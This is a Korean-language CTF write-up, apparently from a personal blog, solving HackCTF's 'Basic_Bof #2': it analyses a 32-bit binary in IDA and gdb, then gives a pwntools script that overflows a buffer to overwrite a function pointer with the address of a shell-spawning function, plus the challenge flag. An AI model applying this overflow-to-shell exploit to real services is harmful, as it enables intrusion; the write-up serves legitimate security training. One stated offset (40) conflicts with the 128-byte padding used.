[문제]
[풀이]
- 32bit 바이너리
- 카나리 없음
- NX bit 존재
- PIE 없음
바이너리 실행
- 단순히 사용자의 입력을 받음
- 입력 값 길이에 대한 변화 없음
IDA 분석 - main 함수
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+Ch] [ebp-8Ch]@1
void (*v5)(void); // [esp+8Ch] [ebp-Ch]@1
v5 = (void (*)(void))sup;
fgets(&s, 133, stdin);
v5();
return 0;
}
- fgets 함수를 통해 사용자로부터 133byte만큼 입력 받음
- 입력 값에 대한 제약 없어 BOF 발생
- 이후 sup 함수 호출
IDA 분석 - sup 함수
int sup()
{
return puts("하아아아아아아아아앙");
}
- 단순히 문자열 출력
IDA 분석 - shell 함수
int shell()
{
return system("/bin/dash");
}
- /bin/dash shell 실행
- shell 함수 주소를 덮어쓰면 exploit 할 수 있을 것으로 보임
gdb 분석 - 함수 주소
pwndbg> info func
All defined functions:
Non-debugging symbols:
0x08048310 _init
0x08048350 fgets@plt
0x08048360 puts@plt
0x08048370 system@plt
0x08048380 __libc_start_main@plt
0x08048390 __gmon_start__@plt
0x080483a0 _start
0x080483d0 __x86.get_pc_thunk.bx
0x080483e0 deregister_tm_clones
0x08048410 register_tm_clones
0x08048450 __do_global_dtors_aux
0x08048470 frame_dummy
0x0804849b shell
0x080484b4 sup
0x080484cd main
0x08048520 __libc_csu_init
0x08048580 __libc_csu_fini
0x08048584 _fini
- main 주소: 0x80484cd
- sup 주소: 0x80484b4
- shell 주소: 0x804849b
gdb 분석 - 함수 주소
pwndbg> disass main
Dump of assembler code for function main:
0x080484cd <+0>: lea ecx,[esp+0x4]
0x080484d1 <+4>: and esp,0xfffffff0
0x080484d4 <+7>: push DWORD PTR [ecx-0x4]
0x080484d7 <+10>: push ebp
0x080484d8 <+11>: mov ebp,esp
0x080484da <+13>: push ecx
0x080484db <+14>: sub esp,0x94
0x080484e1 <+20>: mov DWORD PTR [ebp-0xc],0x80484b4
0x080484e8 <+27>: mov eax,ds:0x804a040
0x080484ed <+32>: sub esp,0x4
0x080484f0 <+35>: push eax
0x080484f1 <+36>: push 0x85
0x080484f6 <+41>: lea eax,[ebp-0x8c]
0x080484fc <+47>: push eax
0x080484fd <+48>: call 0x8048350 <fgets@plt>
0x08048502 <+53>: add esp,0x10
0x08048505 <+56>: mov eax,DWORD PTR [ebp-0xc]
0x08048508 <+59>: call eax
0x0804850a <+61>: mov eax,0x0
0x0804850f <+66>: mov ecx,DWORD PTR [ebp-0x4]
0x08048512 <+69>: leave
0x08048513 <+70>: lea esp,[ecx-0x4]
0x08048516 <+73>: ret
End of assembler dump.
- main+53에 bp 걸어 임의의 입력 값 입력
- 0xffffcfbc에 입력 값 저장
- 0xffffd03c에서 sup 함수 발견 → 해당 주소를 shell 함수 주소로 덮어씌우면 exploit 할 수 있을 것!
- 입력값~sup 함수가 저장된 0xffffd03c까지의 offset = 40
문제 해결
💡dummy(128) + 0x804849b
Python2
from pwn import *
p=remote('ctf.j0n9hyun.xyz', 3001)
e=ELF('./bof_basic2')
payload = "a"*128 + p32(e.symbols["shell"])
#payload = "a"*128 + p32(0x804849b)
p.sendline(payload)
p.interactive()
Python3
from pwn import *
p=remote('ctf.j0n9hyun.xyz', 3001)
e=ELF('./bof_basic2')
payload = b"a"*128 + p32(e.symbols["shell"])
#payload = "a"*128 + p32(0x804849b)
p.sendline(payload)
p.interactive()
flag
🍒 HackCTF{h3y_dud3_600d_f0r_y0u}
'Wargame > HackCTF' 카테고리의 다른 글
[HackCTF] 올리기 전에 (0) | 2022.10.30 |
---|---|
[HackCTF] Basic_Bof #1 (0) | 2022.10.30 |
[HackCTF] Basic_FSB (0) | 2022.10.30 |
[HackCTF] 내 버퍼가 흘러넘친다!!! (0) | 2022.10.30 |
[HackCTF] x64 Buffer Overflow (0) | 2022.10.30 |